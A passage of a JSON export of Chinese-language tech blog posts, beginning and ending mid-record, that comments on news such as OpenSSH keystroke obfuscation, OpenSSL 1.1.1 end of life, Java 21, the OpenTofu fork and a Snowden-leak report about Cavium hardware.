    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到在 <a href=\"https://www.openssh.com/\">OpenSSH</a> 裡加入 keystroke timing obfuscation 的功能：「<a href=\"https://news.ycombinator.com/item?id=37307708\">Keystroke timing obfuscation added to ssh(1) (undeadly.org)</a>」。\r\n\r\n如同 commit log 裡面提到的，這個功能會想要故意沒事就送一些沒用的資料 (增加一些噪音)，降低從 side channel 被判讀的資訊量：\r\n\r\n<blockquote>This attempts to hide inter-keystroke timings by sending interactive traffic at fixed intervals (default: every 20ms) when there is only a small amount of data being sent. It also sends fake \"chaff\" keystrokes for a random interval after the last real keystroke. These are controlled by a new ssh_config ObscureKeystrokeTiming keyword/</blockquote>\r\n\r\n基於 OpenSSH 算是 SSH 這塊的 de-factor standard 了，接下來看其他家像是 <a href=\"https://en.wikipedia.org/wiki/Dropbear_(software)\">Dropbear</a> 會不會也實作？",
    "title": "OpenSSH 加入了 noise (keystroke timing obfuscation) 功能"
  },
  {
    "id": "11328",
    "body": "前陣子在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=37230619\">I only lost 10 minutes of data, thanks to ZFS (mastodon.social)</a>」這篇，講他的硬碟故障，但是靠著 <a href=\"https://github.com/zrepl/zrepl\">zrepl</a> 每十分鐘將本地的 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a> filesystem 同步一次到 NAS 上，所以他只掉了十分鐘的資料的故事...\r\n\r\nHacker News 上最熱的討論居然是在討論 <a href=\"https://en.wikipedia.org/wiki/Western_Digital\">WD</a> 與 <a href=\"https://en.wikipedia.org/wiki/SanDisk\">SanDisk</a> 的 SSD disk issue，反倒不是這個想法或是 zrepl 這個工具...\r\n\r\n看了一下這個方法還蠻有趣的，有需求的人好像是可以這樣搞沒錯...\r\n\r\nAnyway，想當初 <a href=\"https://en.wikipedia.org/wiki/OpenZFS\">OpenZFS</a> 剛出的時候，因為 license 是 <a href=\"https://en.wikipedia.org/wiki/Common_Development_and_Distribution_License\">CDDL</a> 而被 <a href=\"https://en.wikipedia.org/wiki/Free_Software_Foundation\">FSF</a> 認為無法與 <a href=\"https://en.wikipedia.org/wiki/GPLv2\">GPLv2</a> 相容，所以 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 這邊無法內建或是散佈 binary，想玩 ZFS 就得用 <a href=\"https://en.wikipedia.org/wiki/OpenSolaris\">OpenSolaris</a> 或是 porting 到 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 的版本。\r\n\r\n結果後來 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 的法律顧問認為可以透過 kernel module (binary) 的方式散佈相容，在 Ubuntu 16.04 包進去後就開始盛行了...\r\n\r\n而且當年記憶體 overhead (GB 等級) 要求對於 desktop 是個不能忽略的問題，現在回頭來看也不是大問題了，桌機與筆電常常都是 16GB+ 在跑...",
    "title": "用 zrepl over ZFS 每十分鐘做一次 incremental backup 的設計"
  },
  {
    "id": "11329",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=37315961\">Kagi Search Stats (kagi.com)</a>」這邊看到 <a href=\"https://kagi.com/\">Kagi</a> 公開了訂閱數量：「<a href=\"https://kagi.com/stats\">Kagi Search Stats</a>」。在「<a href=\"https://kagi.com/changelog\">Changelog</a>」裡面可以看到發表的資訊，可以看到也沒有給太多解釋。\r\n\r\n現在是 7945 users + 232 family plan 的收入 (但不確定到底是合併算還是分開算)，另外大約是 150K/day (週間) 與 110K/day (週末) 的 query 量。\r\n\r\n成長速度看起來不太快，目前看起來是一個禮拜大概多 100 users，如果等比例的話，一年大概多 5k users？\r\n\r\n交叉看一下去年九月的時候寫的資料，差不多就剛好是一年前的文章：「<a href=\"https://blog.kagi.com/status-update-first-three-months\">Kagi status update: First three months</a>」。\r\n\r\n一年前支出的部分大約是 $26K/mo 左右；粗粗算一下現在的 query 量，假設還是一樣的成本結構，現在大約是 $50K/mo，但今年多了很多 AI 的 API cost，所以應該還會再加上去...\r\n\r\n<blockquote>We are currently serving around 2.1M queries a month, costing us around $26,250 USD/month.</blockquote>\r\n\r\n一年前提到有 2.6k users，當時只有單一方案 US$10/mo；現在是 7.9k users，不過方案比較多，而且後來進來的人費用有調漲，如果還是拿以前的單價來算的話大約是 US$79k。\r\n\r\n<blockquote>Kagi search is currently serving ~2,600 paid customers.</blockquote>\r\n\r\n當年提到 $26k/mo 的收入差不多就只能 cover 基礎建設，人事費用就還得從各種 funding 支付；現在應該是能夠額外 cover 一些些人事的部分？\r\n\r\n<blockquote>Between Kagi and Orion, we are currently generating around $26,500 USD in monthly recurring revenue, which incidentally about exactly covers our current API and infrastructure costs.</blockquote>",
    "title": "Kagi 常態公開他們的訂閱數量"
  },
  {
    "id": "11331",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=37336606\">Usenet, the OG social network, rises again like a text-only phoenix (theregister.com)</a>」這個討論，原文「<a href=\"https://www.theregister.com/2023/08/30/usenet_revival/\">USENET, the OG social network, rises again like a text-only phoenix</a>」這篇標題講 <a href=\"https://en.wikipedia.org/wiki/Usenet\">Usenet</a> 的回春？\r\n\r\n我是覺得 Usenet 要真的回春一定有困難... 但有些客群跑到上面倒是不太意外。\r\n\r\n主要是文末提到這幾個 newsgroup 好像可以去看看：\r\n\r\n<blockquote>As a big science fiction reader, this vulture enjoys dipping into <tt>rec.arts.sf.written</tt> and <tt>rec.arts.sf.fandom</tt>. The computer history group <tt>alt.folklore.computers</tt> is still pretty busy. There is life in several retrocomputing channels, and we've been enjoying talking about Acorn RISC OS and Fortran among other things.</blockquote>\r\n\r\n我自己是因為興趣，所以搞了一個 news server 跑 (在 <a href=\"https://newsfeed.hasname.com/\">newsfeed.hasname.com</a> 這邊)，然後去接了幾個 peer，架了一個 BBS site 抓一些群組，像是 <a href=\"https://en.wikipedia.org/wiki/Comp.*_hierarchy\">comp.lang.c</a> 這種很經典的群... 但這也是自己弄起來玩玩而已。\r\n\r\nAnyway，也許晚點去看看上面提到的群？",
    "title": "Usenet 的回春？"
  },
  {
    "id": "11335",
    "body": "<a href=\"https://www.amazon.com/\">Amazon</a> 家的老大 (CTO &amp; VP) <a href=\"https://en.wikipedia.org/wiki/Werner_Vogels\">Werner Vogels</a> 貼了關於 EC2-Classic 完全退役的文章：「<a href=\"https://www.allthingsdistributed.com/2023/09/farewell-ec2-classic.html\">Farewell EC2-Classic, it’s been swell</a>」。\r\n\r\n2021 年的時候 <a href=\"https://aws.amazon.com/\">AWS</a> 的 Jeff Barr 宣布了 EC2-Classic 的退役計畫：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-classic-is-retiring-heres-how-to-prepare/\">EC2-Classic Networking is Retiring – Here’s How to Prepare</a>」，我當時也整理了「<a href=\"https://blog.gslin.org/archives/2021/07/29/10260/aws-%E5%AE%A3%E4%BD%88-ec2-classic-%E9%80%80%E5%BD%B9%E7%9A%84%E8%A8%88%E7%95%AB/\">AWS 宣佈 EC2-Classic 退役的計畫</a>」這篇。\r\n\r\n當時的時間表是期望在 2022/08/15 全部退役：\r\n\r\n<blockquote>On August 15, 2022 we expect all migrations to be complete, with no remaining EC2-Classic resources present in any AWS account.</blockquote>\r\n\r\n但後來還是晚了整整一年，到 2023/08/15 (剛好晚了一年) 才全部退役：\r\n\r\n<blockquote>On August 15, 2023, we shut down the last instance of Classic.</blockquote>\r\n\r\n而公告上面的更新則是在 2023/08/23 更新：\r\n\r\n<blockquote>Update (August 23, 2023) – The retirement announced in this blog post is now complete. There are no more EC2 instances running with EC2-Classic networking.</blockquote>\r\n\r\n因為真的太久沒用了，看了 Werner Vogels 的描述才能回想起來當時的架構，似乎是有一大鍋這件事情，靠 security group 拆開大家：\r\n\r\n<blockquote>When we launched EC2 in 2006, it was one giant network of 10.2.0.0/8. All instances ran on a single, flat network shared with other customers. It exposed a handful of features, like security groups and Public IP addresses that were assigned when an instance was spun up.</blockquote>\r\n\r\n順便提一下 Werner Vogels 文章的開頭提到了 AWS 很少將服務退役，即使是 2007 年推出的 <a href=\"https://aws.amazon.com/simpledb/\">Amazon SimpleDB</a> 也還是繼續在跑，即使現在主推的是 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a>：\r\n\r\n<blockquote>Retiring services isn’t something we do at AWS. It’s quite rare. Companies rely on our offerings – their businesses literally live on these services – and it’s something that we take seriously. For example SimpleDB is still around, even though DynamoDB is the “NoSQL” DB of choice for our customers.</blockquote>\r\n\r\n用「<a href=\"https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/\">List of AWS Services Available by Region</a>」這頁查了一下，SimpleDB 的區域意外的還不少，在 <code>us-east-1</code>、<code>us-west-1</code>、<code>us-west-2</code>、<code>ap-southeast-1</code>、<code>ap-southeast-2</code>、<code>ap-northeast-1</code>、<code>eu-west-1</code> 以及 <code>sa-east-1</code>。\r\n\r\n不過話說這開頭是不是在偷臭隔壁棚 XDDD",
    "title": "EC2-Classic 完全退役"
  },
  {
    "id": "11338",
    "body": "八月底的時候看到「<a href=\"https://www.phoronix.com/news/ReiserFS-Obsolete\">ReiserFS Officially Declared \"Obsolete\"</a>」這則新聞，這個有進到 <a href=\"https://www.kernel.org/\">Linux kernel</a> 的是 <a href=\"https://en.wikipedia.org/wiki/Reiser3\">Reiser3</a>，不是後來有人接手但沒有進到 Linux kernel 裡的 <a href=\"https://en.wikipedia.org/wiki/Reiser4\">Reiser4</a>。\r\n\r\n在 5.18 的時候先標成 deprecated：「<a href=\"https://www.phoronix.com/news/Linux-5.18-Deprecates-ReiserFS\">Linux 5.18 Moves Ahead With Deprecating ReiserFS</a>」。\r\n\r\n這次的 6.6 則是標成 Obsolete，逐步從 Linux kernel 裡面拔除：\r\n\r\n<blockquote>As part of updates to the older file-system drivers for Linux 6.6, the ReiserFS file-system is no longer marked as \"Supported\" but is officially treated as \"Obsolete\" within the Linux kernel.</blockquote>\r\n\r\n目前各大 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 套件的預設檔案系統應該都是 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a>，另外有些特殊情境下 <a href=\"https://en.wikipedia.org/wiki/XFS\">XFS</a> 也蠻好用的 (像是資料庫)，對於追求極限性能的情境下比 ext4 快一些。\r\n\r\n憑著印象，加上查了說明確認，ResierFS 應該是在小檔時會有優勢：\r\n\r\n<blockquote>Compared with ext2 and ext3 in version 2.4 of the Linux kernel, when dealing with files under 4 KiB and with tail packing enabled, ReiserFS may be faster.</blockquote>\r\n\r\n不過這是前 SSD 時代的產物了，但也沒有看到後續的比較了...",
    "title": "ReiserFS 被標為 Obsolete"
  },
  {
    "id": "11339",
    "body": "前陣子有提到因為 <a href=\"https://www.hashicorp.com/\">HashiCorp</a> 沒有正面回應 (如預期的) 授權的爭議，所以決定將最後一個 open source 版本的 <a href=\"https://en.wikipedia.org/wiki/Terraform_(software)\">Terraform</a> 給 fork 出來：「<a href=\"https://blog.gslin.org/archives/2023/08/27/11314/opentf-%e5%ae%a3%e4%bd%88%e5%be%9e-terraform-%e6%9c%80%e5%be%8c%e4%b8%80%e5%80%8b-open-source-%e7%89%88%e6%9c%ac-fork-%e5%87%ba%e4%be%86/\">OpenTF 宣佈從 Terraform 最後一個 Open Source 版本 fork 出來</a>」。\r\n\r\n剛剛在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=37392581\">OpenTF repository is now public (github.com/opentffoundation)</a>」這個，<a href=\"https://github.com/opentffoundation/opentf\">OpenTF</a> 正式開張了。\r\n\r\n瞄了一下 issues，初期還有蠻多雜事得處理的，但跨出第一步了，可以看看社群的能量到底有沒有超過 HashiCorp 自家的能量...",
    "title": "OpenTF 開張"
  },
  {
    "id": "11340",
    "body": "看到「<a href=\"https://www.avestura.dev/blog/explaining-the-postgres-meme\">Explaining The Postgres Meme</a>」這篇，很努力在解釋 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 meme：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1693947991-82a2e938.webp\" /><img src=\"https://i.gslin.com/s/1693947991-82a2e938.png\" alt=\"\" /></picture>\r\n\r\n這份 meme 的下半部意外的把很多常見的問題都涵蓋進去了，如果要做教材的話好像是個不錯的起點，不過要注意有些不是專屬 PostgreSQL 的 meme 也有被放進去。\r\n\r\n裡面有很多都還不熟悉，之前在 <a href=\"https://dev.mysql.com/\">MySQL</a> 陣營太久了，很多東西都不會想要讓 MySQL 處理... (或是無法在在 MySQL 處理)",
    "title": "PostgreSQL 的 meme 與對應的解釋"
  },
  {
    "id": "11342",
    "body": "看到「<a href=\"https://huggingface.co/blog/falcon-180b\">Spread Your Wings: Falcon 180B is here</a>」這個，Falcon 180B 釋出，號稱跟 <a href=\"https://en.wikipedia.org/wiki/LLaMA_2\">LLaMA 2</a> 站在同一個平台上，但目前看到的授權不是 open source license，大概就是留個記錄下來，實際上應該就不會去碰...\r\n\r\n關於 license 的討論在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有不少，可以參考：「<a href=\"https://news.ycombinator.com/item?id=37404424\">Falcon 180B (huggingface.co)</a>」。",
    "title": "不是 open source license 的 Falcon 180B 釋出"
  },
  {
    "id": "11343",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=37445401\">Comparing 60 LLMs with a set of 20 prompts (llmonitor.com)</a>」這篇 (看到的時候在第一名)，原文在「<a href=\"https://benchmarks.llmonitor.com/\">Asking 60+ LLMs a set of 20 questions</a>」這邊。\r\n\r\n作者寫了 20 個問題讓一堆 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 回答，把回答的結果以及時間記錄起來，其中看到「<a href=\"https://benchmarks.llmonitor.com/taiwan\">Is Taiwan an independent country?</a>」這個問題，共有 54 個 LLM 的結果，可以看到各家 LLM 的回答。\r\n\r\n作者雖然註解解釋這題的回答是「是」(<code>Note: Correct answer: yes it is.</code>)，但考慮到訓練的語料，大多數的回答都會提到全世界的政治情勢，或是帶出「這個問題很複雜」的說明。\r\n\r\n不過我就是想看其他類型的回答 XD\r\n\r\n直接拒絕回答，出現空白的有 Code Llama Instruct (7B)、Dolly v2 (3B)、Dolly v2 (7B)、Falcon Instruct (7B)、Koala (13B)、Luminous Supreme Control、Vicuna v1.3 (7B)。\r\n\r\n然後出現沒意義的輸出的是 Vicuna v1.5 (13B)，這邊丟出 48 行的 <code>&lt;bot&gt;:</code>，沒有其他內容。\r\n\r\n另外一個頗歡樂的回答是 Vicuna v1.3 (13B)，直接出現簡體中文回答的，而且獨立了 XDDD\r\n\r\n<blockquote>台湾是一个独立的国家。</blockquote>\r\n\r\n這邊 Koala 與 Vicuna 系列的都是 <a href=\"https://lmsys.org/\">LMSYS</a> 的作品，這邊的學生團隊 (Student Team) 都是華人名字：「<a href=\"https://lmsys.org/about/\">About | LMSYS Org</a>」，可能是丟了不少中文資料進去才會冒出簡體中文的回答？\r\n\r\n另外一個有趣的是 <a href=\"https://www.databricks.com/\">Databricks</a> 的 Dolly v2 (12B) 的回答直接說「不是」，沒有人和其他解釋：\r\n\r\n<blockquote>&lt;bot&gt;: No.</blockquote>\r\n\r\n而 Dolly 在專案頁面上有提到是基於 <code>pythia-12b</code>：\r\n\r\n<blockquote>Based on pythia-12b, Dolly is trained on ~15k instruction/response fine tuning records databricks-dolly-15k generated by Databricks employees in capability domains from the InstructGPT paper, including brainstorming, classification, closed QA, generation, information extraction, open QA and summarization.</blockquote>\r\n\r\n不過回頭看同樣是 Pythia 家系的 Open-Assistant Pythia SFT-4 (12B)，他的回答是：\r\n\r\n<blockquote>&lt;bot&gt;: Yes, Taiwan is an independent country.</blockquote>\r\n\r\n以及 Pythia-Chat-Base (7B) 的回答：\r\n\r\n<blockquote>Yes, Taiwan is an independent country.</blockquote>\r\n\r\n所以 Databricks 怎麼 train 的，把 pythia 的結果直接反過來 XDDD",
    "title": "問 LLM 台灣是不是獨立國家..."
  },
  {
    "id": "11345",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上翻到「<a href=\"https://news.ycombinator.com/item?id=37443404\">Bare-Metal Kubernetes, Part I: Talos on Hetzner (datavirke.dk)</a>」，看起來作者試著記錄下實體機器上跑 <a href=\"https://kubernetes.io/\">K8s</a> 的各種事情，系列文章的第一篇在「<a href=\"https://datavirke.dk/posts/bare-metal-kubernetes-part-1-talos-on-hetzner/\">Bare-metal Kubernetes, Part I: Talos on Hetzner</a>」這邊。\r\n\r\n跟朋友聊天的時候會聊到 K8s 就是個 mini <a href=\"https://aws.amazon.com/\">AWS</a>，裡面包括了雲端基本該有的 building blocks，對於有自己地端機房的人可以用純軟體的方式把這些東西組出來，不用去買特殊的硬體設備來架設 (像是 <a href=\"https://www.f5.com/\">F5</a> 的 load balancer)。\r\n\r\n另外一種用 K8s 的情境是需要真正的跨環境 (像是 container 可以自由的切來切去)，像是地端與雲端的整合，或是雙雲端系統的整合。\r\n\r\n但畢竟是自己架設一套 mini AWS，複雜度當然就不是一般架設服務可以比擬的。作者用了八篇把各個角落都帶過一次，還寫了一篇炸掉的處理：「<a href=\"https://datavirke.dk/posts/bare-metal-kubernetes-first-incident/\">Bare-metal Kubernetes: First Incident</a>」。\r\n\r\n一般的情況下應該是不需要用到這個東西，但記錄一下。",
    "title": "在實體機上跑 K8s 的記錄"
  },
  {
    "id": "11347",
    "body": "看到 <a href=\"https://www.openssl.org/\">OpenSSL</a> 官方的公告，1.1.1 版 <a href=\"https://en.wikipedia.org/wiki/End-of-life_product\">EoL</a>：「<a href=\"https://www.openssl.org/blog/blog/2023/09/11/eol-111/\">OpenSSL 1.1.1 End of Life</a>」(btw，我不知道他們為什麼網址上會放兩個 <code>/blog/</code>...)。\r\n\r\nOpenSSL 1.x 與 3.x 最大的差異就是他的 license 了，1.x 版是 dual license，但這兩個 license 都與 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a> 不相容：\r\n\r\n<blockquote>OpenSSL was dual-licensed under the OpenSSL License and the SSLeay License, which means that the terms of either licenses can be used. The OpenSSL License is Apache License 1.0 and SSLeay License bears some similarity to a 4-clause BSD License.</blockquote>\r\n\r\n<blockquote>As the OpenSSL License was Apache License 1.0, but not Apache License 2.0, it requires the phrase \"this product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit\" to appear in advertising material and any redistributions (Sections 3 and 6 of the OpenSSL License). Due to this restriction, the OpenSSL License and the Apache License 1.0 are incompatible with the GNU GPL.</blockquote>\r\n\r\n後續 3.x 的版本則改成 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache License</a> 2.0 了：\r\n\r\n<blockquote>OpenSSL announced in August 2015 that it would require most contributors to sign a Contributor License Agreement (CLA), and that OpenSSL would eventually be relicensed under the terms of Apache License 2.0.</blockquote>\r\n\r\n不過 Apache License 2.0 與 GPLv2 還是不相容 (但相容於 GPLv3)，這個更換只是換成一個比較常見的 license：\r\n\r\n<blockquote>The Free Software Foundation considers all versions of the Apache License to be incompatible with the previous GPL versions 1 and 2.</blockquote>\r\n\r\n話說 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 內的 OpenSSL 是 1.1.1f，看起來光是標準的 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> (到 2025/04) 期間都得自己維護了？其他作業系統應該也會有類似的問題...",
    "title": "OpenSSL 1.1.1 EoL"
  },
  {
    "id": "11352",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=37549745\">AWS IPv4 Estate Now Worth $4.5B (toonk.io)</a>」這邊的討論意外的看到「<a href=\"https://ipv6bingo.com/\">IPv6 Excuse Bingo</a>」這個網站...\r\n\r\n這個 <a href=\"https://en.wikipedia.org/wiki/Bingo_(American_version)\">bingo</a> 是動態的，每次 reload 都會有不同的版本出來，理由超多...\r\n\r\n不過實際用 <a href=\"https://en.wikipedia.org/wiki/IPv6\">IPv6</a> network 後會發現各種鳥問題真的多，之前 (到現在) 最經典的就是 <a href=\"https://www.he.net/\">HE</a> 跟 <a href=\"https://www.cogentco.com/\">Cogent</a> 的 IPv6 network 因為錢的問題談不攏而不通的問題，在維基百科上面就有提到從 2009 年開始就不通了：\r\n\r\n<blockquote>There is a long-running dispute between the provider Cogent Communications and Hurricane Electric. Cogent has been refusing to peer settlement-free with Hurricane Electric since 2009.</blockquote>\r\n\r\n所以夠大的服務如果要弄 IPv6 都得注意到這點，像是 <a href=\"https://en.wikipedia.org/wiki/Content_delivery_network\">CDN</a> 或是 GeoIP-based load balancer 就不能把 Cogent 的用戶導到 HE 的位置上面，反之亦然。\r\n\r\n不過話說 <a href=\"https://aws.amazon.com/\">AWS</a> 手上有 128M 個 IPv4 address，整個 IPv4 address 的空間也才 4.29B，也就是說光 AWS 手上就有大約 3% 的 IPv4 address 空間，如果扣掉不可用的區段的話就更高了...",
    "title": "IPv6 Excuse Bingo (IPv6 理由伯賓果？)"
  },
  {
    "id": "11353",
    "body": "八月的時候提過「<a href=\"https://blog.gslin.org/archives/2023/08/17/11303/x-twitter-%E5%9C%A8%E6%83%A1%E6%90%9E%E5%A4%96%E9%83%A8%E9%80%A3%E7%B5%90%E7%B5%90%E6%9E%9C%E8%A2%AB%E6%8A%93%E5%8C%85%E7%8E%A9%E9%99%B0%E7%9A%84/\">X/Twitter 在惡搞外部連結結果被抓包玩陰的</a>」這個，<a href=\"https://x.com/\">X</a> (<a href=\"https://twitter.com/\">Twitter</a>) 故意對某些網站 delay 個幾秒鐘再重導，當時爆料出來後就馬上拿掉了，結果這幾天又被抓到故技重施：「<a href=\"https://themarkup.org/investigations/2023/09/15/twitter-is-still-throttling-competitors-links-check-for-yourself\">Twitter is Still Throttling Competitors’ Links—Check for Yourself</a>」。\r\n\r\n依照測試，<a href=\"https://www.meta.com/\">Meta</a> 家的 <a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://www.instagram.com/\">Instagram</a> 以及 <a href=\"https://www.threads.net/\">Threads</a> 都中獎，另外沒什麼意外的，Twitter 前頭頭跳出來開的 <a href=\"https://en.wikipedia.org/wiki/Bluesky_Social\">Bluesky</a> 也都有被搞...\r\n\r\n而且這次爆料出來後也沒有「迅速修正」了，到目前也都還是如此... 來看看後續？",
    "title": "X/Twitter 又繼續在搞競爭對手的外部連結了..."
  },
  {
    "id": "11354",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上注意到 <a href=\"https://en.wikipedia.org/wiki/java_(programming_language)\">Java</a> 21 的消息：「<a href=\"https://jdk.java.net/21/release-notes\">JDK 21 Release Notes</a>」、「<a href=\"https://mail.openjdk.org/pipermail/jdk-dev/2023-September/008267.html\">Java 21 / JDK 21: General Availability</a>」、「<a href=\"https://jdk.java.net/21/\">OpenJDK JDK 21 General-Availability Release</a>」。\r\n\r\n對於沒什麼在寫 Java 的人來說 (也是等於比較沒有在接觸 Java 圈子消息的人)，比較意外的是這是推出的是 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> 版本，距離上次的 LTS (Java 17) 才兩年前 (2021/09/14)：\r\n\r\n<blockquote>JDK 21 will be a long-term-support (LTS) release from most vendors, including Oracle.  If you’re upgrading from the previous LTS release, JDK 17, then you have many more JEPs to look forward to, summarized here:</blockquote>\r\n\r\n翻了一下 <a href=\"https://en.wikipedia.org/wiki/Java_version_history\">Java version history</a>，可以知道同時支援的 LTS 版本變成四個了，而最近一次會終止的會是 Java 11，<a href=\"https://www.redhat.com/\">Red Hat</a> 會在 2024/10 終止，而 <a href=\"https://www.oracle.com/\">Oracle</a> 會在 2026/09 終止，這中間還會不會再增加 LTS...？\r\n\r\n雖然沒什麼在寫，但還是常常會看到有人提到這次引入了 <a href=\"https://openjdk.org/jeps/444\">Virtual Threads</a> 與 <a href=\"https://openjdk.org/jeps/439\">Generational ZGC</a>，這應該是討論度最高的。\r\n\r\n看了 Virtual Threads 的說明，有種「反璞歸真」的感覺...\r\n\r\n在二十年前的時候，就已經有很多 userland threading library，讓應用程式可以用 threading design pattern 開發程式，而當時 <a href=\"https://en.wikipedia.org/wiki/X86\">x86</a> 下的作業系統開始要遇到多 CPU 的環境，才開始在 kernel 裡支援 threading，讓應用程式裡面的 threading 可以打散到多個不同的 CPU 上面。\r\n\r\n記得當年 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 4 之後對 <a href=\"https://en.wikipedia.org/wiki/Symmetric_multiprocessing\">SMP</a> 與 threading 的爭論導致分家出 <a href=\"https://www.dragonflybsd.org/\">DragonflyBSD</a>，而 FreeBSD 的多 CPU 效能與穩定性要一直到 FreeBSD 7 才穩了下來。\r\n\r\n現在 Java 反過來為了降低 OS thread 造成的 overhead，讓 <code>java.lang.Thread</code> 可以跑在 userland 裡面，不要用 kernel 提供的 OS thread...\r\n\r\n另外又讓我想到 <a href=\"https://en.wikipedia.org/wiki/Kqueue\">kqueue</a>、<a href=\"https://en.wikipedia.org/wiki/Epoll\">epoll</a> 以及 <a href=\"https://en.wikipedia.org/wiki/Libevent\">libevent</a> 的事情了，不過這扯遠了...",
    "title": "Java 21 (LTS) 推出"
  },
  {
    "id": "11356",
    "body": "標題可能會有點難懂，比較簡單的意思就是在 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Snowden</a> 當年 (2013) 洩漏的資料裡面發現了不太妙的東西，發現 <a href=\"https://en.wikipedia.org/wiki/Cavium\">Cavium</a> (現在的 <a href=\"https://en.wikipedia.org/wiki/Marvell_Technology\">Marvell</a>) 的 CPU 有可能被埋入後門，而他們家的產品被一堆廠商提供的「資安產品」使用。\r\n\r\n出自 <a href=\"https://x.com/\">X</a> (<a href=\"https://twitter.com/\">Twitter</a>) 上面提到的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">New leak from the Snowden documents. <a href=\"https://t.co/L0bOxAKoD3\">pic.twitter.com/L0bOxAKoD3</a></p>&mdash; Matthew Green (@matthew_d_green) <a href=\"https://twitter.com/matthew_d_green/status/1703959863796158678?ref_src=twsrc%5Etfw\">September 19, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這段出可以從 2022 年的「<a href=\"https://pure.tue.nl/ws/portalfiles/portal/197416841/20220325_Appelbaum_hf.pdf\">Communication in a world of pervasive surveillance</a>」這份文件裡面找到，就在他寫的 page 71 (PDF 的 page 90) 的 note 21：\r\n\r\n<blockquote>While working on documents in the Snowden archive the thesis author learned that an American fabless semiconductor CPU vendor named Cavium is listed as a successful SIGINT \"enabled\" CPU vendor. By chance this was the same CPU present in the thesis author’s Internet router (UniFi USG3). The entire Snowden archive should be open for academic researchers to better understand more of the history of such behavior.</blockquote>\r\n\r\n<a href=\"https://www.ui.com/\">Ubiquiti</a> 直接中槍...\r\n\r\n而另一方面，在 <a href=\"https://news.ycombinator.com/item?id=37570407\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=37570407\">Snowden leak: Cavium networking hardware may contain NSA backdoor (twitter.com/matthew_d_green)</a>」就讓人頭更痛了，像是當初 Cavium 就有發過新聞稿提到他們是 <a href=\"https://aws.amazon.com/cloudhsm/\">AWS CloudHSM</a> 的供應商：「<a href=\"https://www.prnewswire.com/news-releases/caviums-liquidsecurity-hsm-enables-hybrid-cloud-users-to-synchronize-keys-between-aws-cloudhsm-and-private-clouds-300631079.html\">Cavium's LiquidSecurity® HSM Enables Hybrid Cloud Users to Synchronize Keys Between AWS CloudHSM and Private Clouds</a>」。\r\n\r\n而使用者也確認有從 log 裡面看到看到 Cavium 的記錄：\r\n\r\n<blockquote>Ayup. We use AWS CloudHSM to hold our private signing keys for deploying field upgrades to our hardware. And when we break the CI scripts I see Cavium in the AWS logs.\r\n\r\nNow I gotta take this to our security team and figure out what to do.</blockquote>\r\n\r\n居然是 CloudHSM 這種在架構上幾乎是放在 root of trust 上的東西...",
    "title": "Cavium (被 Marvell 併購) 在 Snowden leak 中被列為 SIGINT \"enabled\" vendor"
  },
  {
    "id": "11357",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2023/09/06/11339/opentf-%e9%96%8b%e5%bc%b5/\">OpenTF 開張</a>」這邊提到 <a href=\"https://www.terraform.io/\">Terraform</a> 的 fork 叫做 OpenTF，現在改名為 <a href=\"https://opentofu.org/\">OpenTofu</a>：「<a href=\"https://github.com/opentofu/opentofu/issues/296\">New name for the OpenTF project #296</a>」，同時也可以從官網看到正式加入 <a href=\"https://www.linuxfoundation.org/projects\">The Linux Foundation Projects</a>。\r\n\r\n有幾個報導都有提到了：「<a href=\"https://techcrunch.com/2023/09/20/terraform-fork-gets-a-new-name-opentofu-and-joins-linux-foundation/\">Terraform fork gets renamed OpenTofu, and joins Linux Foundation</a>」、「<a href=\"https://www.theregister.com/2023/09/20/terraform_fork_opentf_opentofu/\">Terraform fork OpenTF renamed and relocated as OpenTofu</a>」。\r\n\r\n看了 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論，據說 cli 也會從 <code>tf</code> 換成 <code>tofu</code>...",
    "title": "OpenTF (Terraform 的 fork) 改名為 OpenTofu"
  },
  {
    "id": "11359",
